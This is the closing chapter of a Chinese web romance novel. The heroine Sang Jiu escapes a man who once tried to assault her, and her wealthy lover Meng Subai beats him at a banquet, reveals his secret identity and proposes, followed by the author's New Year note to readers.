桑酒捂住脑袋,试图甩掉这令人作呕的声音,可声音是从脑海里回响的,无论她怎么用力,也驱赶不了画面浮现。 曾在梦里惊醒过无数次的场景,再次重现,那人甚至比从前更加肆无忌惮,仿佛看透了她孤身一人,又因她今日的隆重打扮,更加急不可耐,桑酒无力反抗,只能假意放弃抵抗,半推半就间问他十年前在金色年华,为什么独独挑中她,又是什么时候盯上她的。 男人自以为胜券在握,不再设防,一五一十交代,一副有钱有权无所谓的混蛋模样。 “盯上小酒姑娘的又何止是我一个?谁不知道在那里工作的女孩,哪怕是最底层的服务员,也都是冲着钱去的,你们老板说你自命清高不愿折身,老子就不信了,生米煮成熟饭后,我倒要看你还清高个什么?” “所以,你跟踪我到洗手间,还反锁了门?” “对,就像今晚这样,当然,那件事也有你们老板一份功劳,如果不是他说你喝醉了,我怎么能找到那么好的机会下手。” 桑酒知道当年有人做局,只是没想到最大的幕后操纵者是金色年华的老板,她深呼吸,微微笑,语气平静又疯狂。 “你们是一伙的。” “是一伙的又怎么样?事情早已过去了,小美人儿,今晚在这里,总没有人来英雄救美了吧?” 男人笑声恶劣,桑酒忍着恶心,又冷笑一声:“是没有……但是……” 她眼眸倏然一抬,眼里是从未有过的冷冽,操起一旁桌台上的黄铜烛台,对着男人的太阳穴,狠狠砸了下去。 伴随着一声惨烈的的尖叫声,鲜血从男人额角流出,他怒不可遏忍着痛去掐桑酒脖子,桑酒奋力推开他,手机和烟灰缸猝不及防被打落,桑酒顾不得那么多,捡起地上手机,慌忙逃出了房间。 她甚至不敢停留半刻,害怕这陌生的地方,会有他的同伙。 没事的,等天一亮,一切就都过去了。 桑酒紧紧攥着手机安慰自己,像是攥着什么不可丢失的珍贵之物。 好可惜,她还没找到孟苏白,难道一切都是错觉? 她不信。 身后有束灯光照射过来时,桑酒如受惊的兔子,本能捡起地上拳头大的石头,握在手里,一脸警惕地望向身后突然出现的车辆,如同刚才对付那个畜牲一样,准备伺机而动。 车灯很亮,几乎瞬间就照亮了整片山野。 桑酒下意识遮了一下眼,等适应灯光刺眼的亮度,才睁眼看去。 黑夜被撕开一道明亮的口子,黑色车身安静停在原地,车门被轻轻推开。 一个高大的身影从光里走出来,步伐沉稳,带着一路风尘与急切,一步步向她靠近。 “泱泱!” 孟苏白就站在光与暗的交界,轮廓逐渐清晰,眼神里全是失而复得的慌张与温柔。 晚风轻轻吹动他的衣角,他望着她惶恐又茫然的神色,声音低沉又清晰,穿过夜色,穿入她耳畔。 “泱泱……别怕,我来了。” 那一刻,全世界的黑暗,仿佛都只为衬托这一束为她而来的光。 桑酒怔然站在原地,静待着孟苏白走过来,从她手里接过扎手的石头,一如那一年,从惊恐而不自知的她手里拿走酒杯,不让她伤害自己。 下一秒,眼泪落下的同时,她跌入一个温暖的怀抱,熟悉的气息涌入鼻间。 “对不起,我来迟了。” 孟苏白再也忍不住,上前一步,将她紧紧拥入怀中,动作急切又隐忍,因为害怕弄疼她,力道克制而温柔。 桑酒整个人被裹进他带着淡淡凉意、却无比安心的怀抱里,鼻梁撞上他坚实的胸膛,轻嗅着熟悉又安神沉香气息,耳边是他沉稳有力的心跳,一下一下,盖过了脑海里所有恐惧。 车灯还在身后温柔地亮着,把两人的影子叠成一片,紧而密实。 “……孟苏白……真的是你?”桑酒隔了许久才找回自己的声音,话一出口,却是比身体还要僵硬,仿佛置身于梦境之中不敢相信。 孟苏白下巴抵在她发顶,手臂收得很紧,像是要将她所有的不安、恐惧和慌乱,全都揉进自己血液,宽大温厚的掌心揉着她后颈,声音闷在她的发间,沙哑又轻颤。 “ 是我,再真实不过的我,泱泱别怕,我在这里。” 桑酒低头埋首在他怀里,所有的委屈、倔强和孤单,在这一刻彻底崩塌。 泪水无声地浸湿他的衣衫,她伸手,紧紧环住他的腰,像是要拥抱黑夜里唯一的光。 路再坎坷,夜再黑,也没关系了。 他找到她了,她也终于,有了依靠。 孟苏白脱下西装外套给她披上,山间呼啸的晚风不再冰冷,而是带了温度贴着肌肤渗入心头。 因为一双脚被磨破了皮出了血,桑酒几乎不能再走一步,原本还麻木到没有知觉,此刻却连站着都要吸一口气,钻心的痛。 她被孟苏白抱上了车。 车内灯饰亮起,看着膝上原本白嫩的一双足,此刻却血淋淋的还有淤青和泥土,孟苏白眼里的寒意瘆人。 他用湿巾小心翼翼为她擦干净,又捂在怀里用体温为她取暖,试图减轻她的冷与痛。 “还疼吗?”孟苏白抬头看她,眼里满是柔情。 桑酒摇了摇头。 一切都好像做梦一般,他真的就这样出现了,如神祇降临一般。 车子掉头往别墅开去时,她忽然又有些坐立不安,想要收回双脚,却被孟苏白只手按住。 温热的掌心包裹住她的脚踝,脚心抵着他的腰腹,能清新明了感觉到那里的硬邦和热度。 “怎么了?” 他周身气压很低,唯有与她说话时,不忘温柔。 桑酒闭着眼,轻轻说道:“我想……去医院,陪我妈妈。” “现在去医院,已经过了探病时间,而且你这个样子,会让阿姨担心。”孟苏白一手打着方向盘,一手轻抚着她脚背,拇指摩挲着她轻薄的肌肤。 桑酒无言以对,明明有很多话要跟他说,可又在清醒过后,介意他忘了昨晚的事情,心里倍感委屈,不想开口。 时间就这样静静流淌着,正酸涩难过时,忽听他声音冷淡问起:“认识那个人吗?” “谁?”她疑惑抬头。 却见孟苏白紧绷的侧脸,浑身散发着冷意,眉眼也冷得像淬了冰,沉默不语。 桑酒瞬间意识到他在问什么。 能在这么短时间内追上来,又对她此刻的狼狈没有多问,他一定看到或者听到什么。 桑酒也不再隐瞒,轻轻点头。 “十年前,在金色年华,他……他想侵犯我……” 话还未落音,车子又是猛地一个急刹车,她身子微微往前一倾,耳边听到孟苏白咬牙切齿,越发冰冷的声音。 “十年前?金色年华?” 他想起曾经让云叔调查过这件事,只是一直找不到人,原来是逃到了国外,又是借着什么身份,混进这场晚宴? 孟苏白一拳重重砸在方向盘上。 他怪自己为什么要多此一举,办这样一场宴会,害得她差点又身陷险境。 “对不起。” 桑酒察觉到他的失控和狠厉,目光落在他破了皮的手背上,又是一阵心疼。 她解释:“没关系,他今晚……没有占我半分便宜,而且……” 孟苏白却一个字也听不进去,他再次启动油门,一脚踩回了别墅- 别墅内,热闹依旧。 开场舞结束后,众人围在舞池中央品酒聊天,一片祥和,丝毫没有察觉到宴会厅内各个角落,悄无声息增加了不少安保,气氛正高涨时,别墅内音乐骤然一停,旋转的霓虹灯也停止了转动,一阵煞白打在舞池中央。 所有人都愣怔了一下,交头接耳发生了什么情况。 孟苏白抱着桑酒坐到席中央主位,轻轻放她坐好,又扯过外套盖住她脑袋,起身就要走开,却被桑酒一把抓住他手臂。 她还在害怕。 孟苏白单膝下跪,俯身吻了吻她手背,低声浅语:“在这坐好,等着我。” 他温柔的声音安抚了桑酒,而后长腿一迈,转身踱步朝舞池中央走去,唇角那点柔情笑意还没散尽便瞬间抽离,眉骨紧绷,眼尾压着冷戾的狠,一边走,一边单手松了领带扯下,缓缓缠绕在右手心,沉静的声音渗着寒意。 “HGR的副总,赵建仁,可在?” “你是?” 闻声,舞池中央,闷在一众洋女人之中的油腻肥头脸探出头来,看到孟苏白时,立马变了一副受宠若惊模样。 “孟董,您找我,是我们HGR的策划方案通过了吗?” 赵建仁是HGR科技公司驻慕尼黑分公司的副总,几次三番想跟寰耀旗下公司合作,投了不少意向书,却一直石沉大海。 这次他费尽心思打通关系,好不容易得了一张入宴券,本就是想着借个机会在孟苏白面前刷一个存在感,此刻突然被宴会主人点名,自是喜不自胜,顶着个纱包头就跑了过去。 面容微侧,孟苏白掀眸审视了一眼赵建仁,眸色半眯,手里的活是一直没停,只见他慢条斯理挽起衬衫袖子的小臂,露出健硕的肌肉线条,缓缓向男人走近,状似无意一问。 “赵副总的脑袋,是怎么回事?” 赵建仁面色一变,忽觉后背发凉。 晚宴开始这么久,他就一直没碰见这位主的身影,倒是撞上了十年前看上的一个小姑娘,因为太过漂亮心心念念了多年,一时起了色心被女人砸了脑袋,他心中虽有愤怒却不敢声张,如今被孟苏白这样一问,只能陪笑着说不小心撞的。 “撞的?” 孟苏白的声音同他挑起的眉头一样深沉,他的目光从袖口慢慢游走到赵建仁的脸上,落在那道简单包扎的纱布上,冷嗤一声,“那赵副总还真是,不长眼。” “什么……” 赵建仁刚觉得话不对劲,抬眼就看到了孟苏白暗沉的目光,下一秒话还没说出口,脑袋伤处就迎来男人重拳一击,直接连人击飞后退三步倒地,刚贴上的纱布渗着血散落,那道被烛台尖锐底座砸出的口子,顿时又撕裂得更猛烈。 “孟董……” 他被打得一脸懵,脑子都短路了,偏对方又是不敢惹的大人物,哪怕痛到牙齿发抖,也不敢有半句怨言,只能将血水往肚子里吞,挣扎着爬起想要问清楚缘由。 孟苏白却没有再给他开口的机会,气势凌人逼近后,一脚又将他狠狠踩在地面,居高临下冷面看着他:“HGR的副总是吧?我现在通知你,寰耀不但不会和HGR合作,还会全领域绞杀HGR。” “全领域绞杀”几个字被咬得既重且慢,隐含恨意。 赵建仁瘫在地上浑身发抖,不知道自己到底哪一个环节惹了他,唯一能想到的,是半小时前那个女人,难道…… “不是……孟董,我真不知道……小酒姑娘……”他忍着痛想要辩解什么。 然而桑酒的名字刚从他嘴里吐出来,头顶男人眸光便越发幽深暗诲,翻滚着令人心惊的怒火。 “闭嘴!” 下一秒,沉重狠劲的拳头如雷雨挥下,一拳连着一拳,几乎没有停顿,拳拳到肉,精准要害,毫不手软,就像砸在一个没有生命的沙袋上。 现场一片安静,只听到男人足以穿透整栋别墅的鬼哭狼嚎声,无人上前,甚至没有人敢出声问一句。 有传闻,寰耀集团新任董事长,年纪轻轻看着温润如玉,实则修罗王来着,曾在一场赛车中,亲手撞死自己同父异母的兄弟。 云叔就领着一众安保候着,冷冷看着,一副随时收拾后事的架势。 而被围在众人之外的桑酒,也听到了动静,她想扯下孟苏白的外套,又实在不想看到那个混蛋的嘴脸,忍了半晌,还是出声制止。 “孟苏白……别打了……” 虽然知道孟苏白是在为她出气,可她不想他破坏别人的宴会,也不想他因为这种人渣惹上一些不必要的官司,尤其是闹出人命。 男人嘶喊声没有停止,却渐渐没了气息一般。 “别打了。”桑酒又重复了两遍。 沉浸在报复与疯戾中的孟苏白听到她柔弱的声音,缓缓回过神来,一双幽寒的眸子眯了眯,目光散漫森冷落在地上已经肿成猪头,气息微弱呻吟的男人身上,一脸嫌弃松了他的西装领,缓缓起身。 “丢出去,别脏了这儿。” 他解开掌心染了血的领带,一同扔到男人身上,又接过云叔递过来的手帕,一根根擦拭干净修指,整理好着装后,才缓步朝桑酒走去。 众人自动让开路,一时对传言中这位修罗王的名声更加深信不疑。 然而令人瞠目结舌的是,刚才还狠厉疯批,不惜自损八百,也要伤敌一千将人往死里砸的男人,下一秒,就在那被西服蒙着面的女人跟前,屈膝蹲下身,无比温柔握住她颤抖的手,声音低哑得能溺死人: “结束了,泱泱,我们回家。” 女人无声点了点头。 他似松了一口气,眼里的冷戾淡漠被万千柔情代替。 孟苏白再次抱起她,往楼梯口走去。 鲜花盛开铺满两侧,甜蜜的芳香仿佛净化了一室戾气。 云叔则冷静地指挥着安保们清理现场,顺便安抚客人,宴会继续- 身后人声远去,桑酒便拿下盖在头上的外套,抬头去看孟苏白。 发现他把自己抱上了二楼,一脸惶恐。 这是S先生的地盘! 她甚至没有心思欣赏这条花路,下意识捉住他衣袖,有些难为情:“不可以……二楼是别墅主人的私人领域,别人不能上来……” 孟苏白却仿若未闻,上了楼梯后,直往卧室走去,长腿踢开房门,一气呵成将她放到床上。 缓缓蹲下身,抬眸看她一脸无错的表情,不禁声音微哑含笑:“你不是别人。” “什么……”桑酒心不在焉四目张望。 这里好多玫瑰花。 “你是我……” 孟苏白话还未说完,桑酒的目光又被床对面那堵欧式墙吸引了过去。 只见墙上大大小小挂满了数十张她的照片,从小到大的照片,尤其是那张在法国拍的田园油画花仙子照,也被放大镶着漂亮的相框,挂在正中央,旁边还有一些她这一年来的照片,春去秋来,她从未见过,但又一眼能想起是在何时何地,估计是谁偷偷拍下发给他的。 桑酒怔然走过去,看了半晌,脑海猝不及防划过一个念头,转身望向孟苏白:“这些是……” 孟苏白点头:“从你家拍的,洗了出来挂上的,抱歉,没有经过你同意,我只是……太想你了。” 因为太过想她,他默认了贺煜时不时发来她的近况,知道她没有结婚,知道她过得平淡充实,知道她越来越好…… “所以……S先生……”桑酒哽咽到欲言又止。 孟苏白一步步走向她,目色温柔坦然:“是我,一直都是我。” “那为什么不告诉我?” “怕你不想见我,又躲着我。” 桑酒瞬间泪目,只觉委屈,他知不知道,她来德国就是想见见他!谁知道他就在身边,躲在背后,害她白白难过了这么多个日夜。 “你不是早就知道,我跟李佑泽没有结婚吗?” “我知道,开心,又不开心。” 开心是她没有嫁给别人,不开心是她身边又少了个可以陪伴的人。 “如果,我真的结婚了呢?”她泪眼朦胧问他。 孟苏白坦言:“我也会这样,一直默默关注着你,看你成婚生子,看你一生无忧,只要你幸福,如果你不幸福,我也会随时等你转身。” “那你呢?你怎么办?” 不忍她伤心,孟苏白抬手用指背去帮她擦拭泪水,笑着说:“你忘了,遇见你之前,我就是单身主义。” “你真残忍,什么都不告诉我,发生那么大的事情也不告诉我,如果你真的……真的出事了,你有没有想过我怎么办?”桑酒强忍泪水,“你还真想好了,给我准备了那么多财产,是想要我一辈子都忘不掉你吗?” “原谅我有这样的私心。”孟苏白深深望着她,指腹摩挲着她的眼睑,那儿泪如泉涌,源源不绝,几乎冲垮了他所有理智。 桑酒含泪低头,脸颊去贴他手背的温度,却骤然看到他冒着血珠的手背,当即一把抱住他的手,哭得更凶:“对不起……我总是……总是让你受伤……” “我甘之如饴。” 眼泪却越擦越多,孟苏白叹了口气,干脆将人搂入怀,狠狠抱住。 “泱泱,昨晚不是说好了吗,不要再自责,我真的很庆幸,这一生能遇见你。” “昨晚……”桑酒哭声一顿,从他怀里抬起脑袋,“昨晚的事,你还记得 ?” 孟苏白垂着眸子,挑了挑眉:“当然,我不像某些人,喝醉酒就翻脸不认人。” “啊?” “你昨晚说的每一个字,我都记得。”怕她不认账,孟苏白甚至开始帮她回忆,“你说如果可以重新选择,绝对不会再对我说那些话,你说你不想和我浅尝辄止,也不是为了什么及时止损才分手,你还埋怨我凶了你,我哪敢……” 动情时说的那些话,突然被他戳破,桑酒顿时面红耳赤起来,脑袋埋在他怀里不肯出来。 孟苏白在她耳边继续低语浅笑:“不过,最让我难忘的,是泱泱落在我身上每一处的吻,还有泱泱补偿我的方式……” 被骤然提起昨晚的英勇之举,桑酒只觉腰背的酸痛更加真实起来,生怕他说出更不着边的话来,一把捂住孟苏白的嘴,又忍不住委屈起来:“那你今天一整天也没找我 ……” “抱歉。” 孟苏白的嘴唇在她手心轻柔吻着,“小泽生病发烧了,我临时去了趟柏林探望他。” 桑酒被吻的浑身发痒,双腿也跟着软了起来,神情愣住眸子转了转,显然没搞清楚小泽是谁。 孟苏白拉下覆在自己唇角的小手,低头吻住她微张的红唇:“孟君泽,大哥的孩子。” 桑酒恍然:“他没事了吧?” “没事了。” 桑酒松了口气,随后闷闷地推了推压在自己身上的男人:“可是你也没发信息给我啊,一条都没有……” 唇微微被分离,孟苏白有些不满,强行贴了过去,又对她的控诉很是无奈。 “泱泱,你是不是忘了,我还在你黑名单中待着……” 闻言,桑酒整个人直接傻了。 所以,她今天抱着手机一整天,怀疑过欠费,怀疑过没信号,甚至还怀疑过孟苏白手机掉了,就是没想起过,他电话和微信都已经被她拉黑一整年了? 孟苏白抬手,抚上她还湿润挂着泪痕的脸颊,拇指摩挲着,低声沉语:“泱泱,我差点申冤无门,你必须答应我,以后无论遇到什么事情,要第一时间打电话给我,不要一个人……扛着。” 桑酒知道他说的是今晚的事情,她双手用力环抱住他劲痩的腰,仰头有些自豪说:“你放心,我今天非但没让他得逞一丝半点,还录下他承认当年犯罪的口供了,我要亲手把他们送进去,能关几年是几年。” 孟苏白手一抖,捏着她的下巴还是不满。 “这样危险的事情,下次也不许再做,我自会有办法收拾他。” 说起这事,桑酒却不禁担忧起来:“你今天都快把他打死了,会不会……对你影响不好呀?” 再怎么说,他也是一个集团董事长,这事万一爆出去,指不定会影响他们公司的股价,或者动摇他在董事会中的信誉。 “不会。” 她脚还受着伤,孟苏白不忍她站太久,直接打横将她抱起,又回到了床上,这次却是贴着她的身躯吻了下来,将她压得密不透风,“我在保护我的妻子,属于正当防卫和反击。” 桑酒被吻得头脑发昏,花香怡人,她心里还惦记着他手受伤的事,想说去找纱布帮他包扎一下,猝不及防听到“妻子”两个字,整个人骤然回过神来,惊得眼眸瞪得老大。 “你……说什么?” 孟苏白与她十指交握,摁在她头顶,同时俯身衔住她耳垂:“怎么办,泱泱,我犯了事,只有你成为我的妻子,我才会被判无罪。” 房间一瞬间安静下来,桑酒的表情从震惊到羞涩,最后又化为平静。 她合理怀疑孟苏白是故意这样说的,且有证据。 “孟苏白,我想清楚了,从今以后,我就这样陪在你身边,也不要什么名分,不求朝朝暮暮了,如果真有一天,你必须跟别人结婚,我也认了,我……” “没有别人,”孟苏白单指竖起在她唇瓣,目光坚定而温柔,“泱泱,我孟苏白这一辈子,只会有你一个,无论是爱人,还是妻子,都只有你一个,除了你,我从未想过要跟别人结婚,哪怕是联姻也未曾想过。” 虽然他想给她一个浪漫的求婚仪式,也不想在她刚经历了糟心事就让她答应求婚,可他实在等不了哪怕一秒,只怕明天醒来,她又逃离他,像一场镜花水月的梦境醒来,她依旧不在身边。 “可你背负着兴旺孟家的责任,我不想拖你后腿。” 桑酒用力地拥抱住眼前这个值得她抛下一切去爱的男人,已经做好了最坏的打算,“我是说真的,真到了那天,我们再……” “不相信我?”孟苏白截断了她的话。 桑酒抿唇,眼睫颤了颤:“不是……他们都说,你以后有璀璨的人生大道。” 外界媒体都在猜测,他这位豪门贵子会弃商从政,是未来港城政坛的新星,因为年轻有为,成就甚至会超越其祖父。 而这样耀眼的孟苏白,是她这样平凡普通的女人,无法相助半分的。 孟苏白俯身,温柔缱绻的吻落在她眉眼上:“泱泱,我只是纯粹的爱你,不需要你为我带来什么利益,也不需要靠什么联姻去走康庄大道,只有你在我身边,我才能有璀璨人生,你离开我,我整个世界便都是灰暗的。” “所以,泱泱,不要听别人说什么,只需看着我、相信我。”—— 作者有话说:新年快乐!今天先到这儿,正文完结啦!不好意思让宝子们久等了! 后面会继续更新番外,纯甜无虐,我们泱泱也会越来越优秀,凭实力配得上Kings! 最后说一句,新年快乐!祝所有宝宝,也顺遂无虞,皆得所愿! 明晚六点,评论区红包雨降落!《 》